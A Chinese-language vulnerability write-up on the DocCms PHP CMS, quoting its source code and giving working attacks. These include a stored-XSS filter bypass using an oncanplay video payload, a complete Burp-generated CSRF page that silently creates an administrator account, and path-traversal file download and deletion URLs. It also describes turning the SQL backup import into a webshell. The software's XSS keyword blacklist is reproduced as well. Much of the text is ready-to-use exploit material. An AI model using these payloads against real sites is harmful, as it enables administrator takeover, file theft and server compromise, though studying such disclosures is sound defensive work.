DocCms存儲型XSS+後臺任意文件下載上傳+目錄刪除+sql執行(有條件可getshell)
下載鏈接
https://share.weiyun.com/46ebceb4fe91da144ad2661522a941e1
留言處存儲型XSS
漏洞在content/guestbook/index.php
function create() { echo 123; global $db,$request; if ($_SESSION[‘verifycode‘] != $request[‘checkcode‘]) { echo ‘<script>alert("請正確填寫驗證碼!");location.href="javascript:history.go(-1)";</script>‘;exit; } foreach ($request as $k=>$v) { $request[$k]=RemoveXSS($v); } require(ABSPATH.‘/admini/models/guestbook.php‘); $guestbook = new guestbook(); $guestbook->addnew($request); $guestbook->custom=@implode(‘<|@|>‘,$request[‘custom‘]);$guestbook->dtTime=date(‘Y-m-d H:i:s‘); $guestbook->channelId=$request[‘p‘]; $guestbook->ip=$_SERVER[‘REMOTE_ADDR‘]; $guestbook->uid=$_SESSION[TB_PREFIX.‘user_ID‘]; if($guestbook->save()) { if(guestbookISON) { sys_mail(‘ 留言提醒‘,‘最新留言提醒:您的網站:<a href="http://‘.WEBURL.‘">‘.WEBURL.‘</a> 有最新留言,請及時前往審核回復!‘); }echo ‘<script>alert("恭喜,您的留言已提交成功,工作人員會及時回復!");window.location.href="‘.sys_href($request[‘p‘]).‘";</script>‘; exit; } else { echo ‘<script>alert("對不起,系統錯誤,您的留言未能及時提交,請電話與我們聯系。");window.location.href="‘.sys_href($request[‘p‘]).‘";</script>‘; exit; } }
跟進RemoveXSS函數
//inc/function.php 505-507行 $ra1 = Array(‘javascript‘, ‘vbscript‘, ‘expression‘, ‘applet‘, ‘meta‘, ‘xml‘, ‘blink‘, ‘link‘, ‘style‘, ‘script‘, ‘embed‘, ‘object‘, ‘iframe‘, ‘frame‘, ‘frameset‘, ‘ilayer‘, ‘layer‘, ‘bgsound‘, ‘title‘, ‘base‘); $ra2 = Array(‘onabort‘, ‘onactivate‘, ‘onafterprint‘, ‘onafterupdate‘, ‘onbeforeactivate‘, ‘onbeforecopy‘, ‘onbeforecut‘, ‘onbeforedeactivate‘, ‘onbeforeeditfocus‘, ‘onbeforepaste‘, ‘onbeforeprint‘, ‘onbeforeunload‘, ‘onbeforeupdate‘, ‘onblur‘, ‘onbounce‘, ‘oncellchange‘, ‘onchange‘, ‘onclick‘, ‘oncontextmenu‘, ‘oncontrolselect‘, ‘oncopy‘, ‘oncut‘, ‘ondataavailable‘, ‘ondatasetchanged‘, ‘ondatasetcomplete‘, ‘ondblclick‘, ‘ondeactivate‘, ‘ondrag‘, ‘ondragend‘, ‘ondragenter‘, ‘ondragleave‘, ‘ondragover‘, ‘ondragstart‘, ‘ondrop‘, ‘onerror‘, ‘onerrorupdate‘, ‘onfilterchange‘, ‘onfinish‘, ‘onfocus‘, ‘onfocusin‘, ‘onfocusout‘, ‘onhelp‘, ‘onkeydown‘, ‘onkeypress‘, ‘onkeyup‘, ‘onlayoutcomplete‘, ‘onload‘, ‘onlosecapture‘, ‘onmousedown‘, ‘onmouseenter‘, ‘onmouseleave‘, ‘onmousemove‘, ‘onmouseout‘, ‘onmouseover‘, ‘onmouseup‘, ‘onmousewheel‘, ‘onmove‘, ‘onmoveend‘, ‘onmovestart‘, ‘onpaste‘, ‘onpropertychange‘, ‘onreadystatechange‘, ‘onreset‘, ‘onresize‘, ‘onresizeend‘, ‘onresizestart‘, ‘onrowenter‘, ‘onrowexit‘, ‘onrowsdelete‘, ‘onrowsinserted‘, ‘onscroll‘, ‘onselect‘, ‘onselectionchange‘, ‘onselectstart‘, ‘onstart‘, ‘onstop‘, ‘onsubmit‘, ‘onunload‘); $ra = array_merge($ra1, $ra2);
$replacement = substr($ra[$i], 0, 2).‘<x>‘.substr($ra[$i], 2);
不是刪除也不是轉義,這就有趣了,他會在檢測到敏感字符後,在中間會加一個<x>,這種我還是第一次見。不過沒關系,過濾這麽多仍然可以繞過,因為是黑名單過濾,我大javascript豈止這些事件?隨便拿出個繞一繞
像往常一樣輸入XSS代碼然後進入後臺查看過濾了哪些
後臺查看源代碼
我們插入的代碼是
<script>alert(0)</script>
程序過濾後是: <sc<x>ript>alert(0)</sc<x>ript>
經過fuzz後,還有這些關鍵字沒被過濾掉
此時oncanplay事件是無疑是最好的,因為他無需交互,打開直接執行代碼,並支持所有瀏覽器
xsspayload: <video width="0" height="0" oncanplay="(function(){alert(1)})();"> <source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4"> </video>
任意文件刪除
在模板上傳的地方
index.php?m=system&s=changeskin&a=delete&skinname=doccms_model_1
在admini\controllers\system\changeskin.php 521-530
function deleteFile(){ global $request; $dirPath = get_abs_skin_root().filter_submitpath( $request[‘dirPath‘] ); if(is_file($dirPath)){ @unlink($dirPath); exit(‘1::delete ok‘); }else{ exit(‘0::Forbidden‘); } }
沒有進行任何過濾 導致可刪除一個目錄下所有文件
任意文件上傳(雞肋)
admini/index.php?m=system&s=changeskin&a=upload_templat
1 function upload_template() 2 { 3 global $error; 4 //unzip(ABSPATH.‘/‘.SKINROOT,$_FILES["upfile"][tmp_name],$_FILES["upfile"][name])==1; 5 6 //把模版先暫時上傳在系統根目錄的TEMP文件夾裏,解決safe_mode On時無法上傳在環境文件夾下 7 //suny.2008.10.16 8 $upload = new Upload(10000,‘/temp/‘); 9 $fileName = $upload->SaveFile(‘upfile‘); 10 if(is_file(ABSPATH.‘/temp/‘.$fileName)) 11 { //die(ABSPATH.‘/temp/‘.$fileName); 12 if(unzip(ABSPATH.‘/‘.SKINROOT,ABSPATH.‘/temp/‘.$fileName,ABSPATH.‘/temp/‘.$fileName)==1) 13 echo ‘<script language="javascript">alert("安裝成功!");history.back(1);</script>‘; 14 elseif(unzip(ABSPATH.‘/‘.SKINROOT,ABSPATH.‘/temp/‘.$fileName,ABSPATH.‘/temp/‘.$fileName)==0) 15 echo ‘<script language="javascript">alert("安裝失敗!");history.back(1);</script>‘; 16 else 17 echo ‘<script language="javascript">alert("此文件不是ZIP格式!");history.back(1);</script>‘; 18 } 19 else 20 { 21 echo ‘<script language="javascript">alert("文件上傳失敗!");history.back(1);</script>‘; 22 } 23 redirect(‘?m=system&s=changeskin‘); 24 }
第12行上傳後直接就解壓了在skins/目錄生成壓縮包中的文件 不過php沒有執行權限
原因是根目錄.htaccess有限制 測試自己上傳.htaccess 在data目錄下導致服務器500錯誤
也沒有找到任意文件刪除能刪除掉根目錄的文件
CSRF
添加管理員的地方沒有refer和token驗證 所以可以利用csrf
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState(‘‘, ‘‘, ‘/‘)</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/localhost\/admini\/index.php?m=system&s=userinfo&a=create", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundarytcuE3OVEuZLJP8x4"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8"); xhr.withCredentials = true; var body = "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"image\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"uploadfile\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"username\"\r\n" + "\r\n" + "fuckyou\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"pwd\"\r\n" + "\r\n" + "fuckyou\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"repwd\"\r\n" + "\r\n" + "fuckyou\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"nickname\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"role\"\r\n" + "\r\n" + "9\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"auditing\"\r\n" + "\r\n" + "0\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"name\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"sex\"\r\n" + "\r\n" + "1\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"qq\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"msn\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"email\"\r\n" + "\r\n" + "[email protected]\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"mtel\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"address\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html>
任意文件下載
在數據庫還原的地方點擊下載
admini/index.php?m=system&s=bakup&a=download&filename=doccms_20170806_520985_1.sql
在admini\controllers\system\bakup.php
function download() { global $request; if(!empty($request[‘filename‘])) { //die(ABSPATH.‘/temp/data/‘.$request[‘filename‘]); file_down(ABSPATH.‘/temp/data/‘.$request[‘filename‘]); } else { echo ‘<script>alert("文件名不能為空!");window.history.go(-1);</script>‘; } }
跟進file_down函數
function file_down($file,$filename=‘‘) { if(is_file($file)) { $filename = $filename ? $filename : basename($file); $filetype = fileext($filename); $filesize = filesize($file); header(‘Cache-control: max-age=31536000‘); header(‘Expires: ‘.gmdate(‘D, d M Y H:i:s‘, time() + 31536000).‘ GMT‘); header(‘Content-Encoding: none‘); //header(‘Content-Length: ‘.$filesize); header(‘Content-Disposition: attachment; filename=‘.$filename); header(‘Content-Type: ‘.$filetype); readfile($file); } else { echo ‘<script>alert("文件不存在!");window.history.go(-1);</script>‘; } exit; }
沒有進行過濾導致任意文件下載
雞肋任意文件上傳+SQL語句執行
數據庫文件上傳的地方
function uploadsql() { global $request; $uploadfile=basename($_FILES[‘uploadfile‘][‘name‘]); //die($uploadfile); if($_FILES[‘userfile‘][‘size‘]>$request[‘max_file_size‘]) echo ‘<script>alert("您上傳的文件超出了2M的限制!");window.history.go(-1);</script>‘; if(fileext($uploadfile)!=‘sql‘) echo ‘<script>alert("只允許上傳sql格式文件!");window.history.go(-1);</script>‘; $savepath = ABSPATH.‘/temp/data/‘.$uploadfile; if(move_uploaded_file($_FILES[‘uploadfile‘][‘tmp_name‘], $savepath)) { //die($savepath); echo ‘<script>alert("數據庫SQL腳本文件上傳成功!");window.history.go(-1);</script>‘; } else { echo ‘<script>alert("數據庫SQL腳本文件上傳失敗!");window.history.go(-1);</script>‘; } }
只是echo 並沒有exit
這樣還是會上傳成功 然而上傳.php文件還是無法執行
但是在導入的函數的地方
1 function import() 2 { 3 global $db,$request; 4 $pre=$request[‘pre‘]; 5 if($request[‘dosubmit‘]) 6 { // die("test"); 7 if($request[‘filename‘] && fileext($request[‘filename‘])==‘sql‘) 8 { 9 $filepath = ABSPATH.‘/temp/data/‘.$filename; 10 if(!is_file($filepath)) 11 echo ‘<script>alert("文件不存在!");window.history.go(-1);</script>‘; 12 $sql = file_get_contents($filepath); 13 die($sql); 14 sql_execute($sql); 15 echo ‘<script>alert("‘.$filename.‘中的數據已經成功導入到數據庫!");window.history.go(-1);</script>‘; 16 } 17 else 18 { //die("test"); 19 $fileid = isset($request[‘fileid‘]) ? $request[‘fileid‘] : 1; 20 $filename = $request[‘pre‘].$fileid.‘.sql‘; 21 $filepath = ABSPATH.‘/temp/data/‘.$filename; 22 //die($filepath); 23 if(is_file($filepath)) 24 { 25 $sql = file_get_contents($filepath);//將整個文件讀入一個字符串 26 //die($sql); 27 sql_execute($sql); 28 $fileid++; 29 echo ‘<script>alert("數據文件‘.$filename.‘導入成功!");window.location.href="?m=system&s=bakup&a=import&pre=‘.$pre.‘&fileid=‘.$fileid.‘&dosubmit=1";</script>‘; 30 31 } 32 else 33 { 34 echo ‘<script>alert("數據庫恢復成功!");window.location.href="?m=system&s=bakup&a=import";</script>‘; 35 } 36 } 37 } 38 }
17-27行的意思就是 讀取.sql文件中的語句 然後逐行執行
這樣我們可以上傳.sql文件 裏面寫著寫一句話的語句 如果有root權限的話可以拿shell
如果不是root權限 可以利用sql時間盲註操作(如果有搞數據庫數據的必要 或者 可以拿來留xss後門)
DocCms存儲型XSS+後臺任意文件下載上傳+目錄刪除+sql執行(有條件可getshell)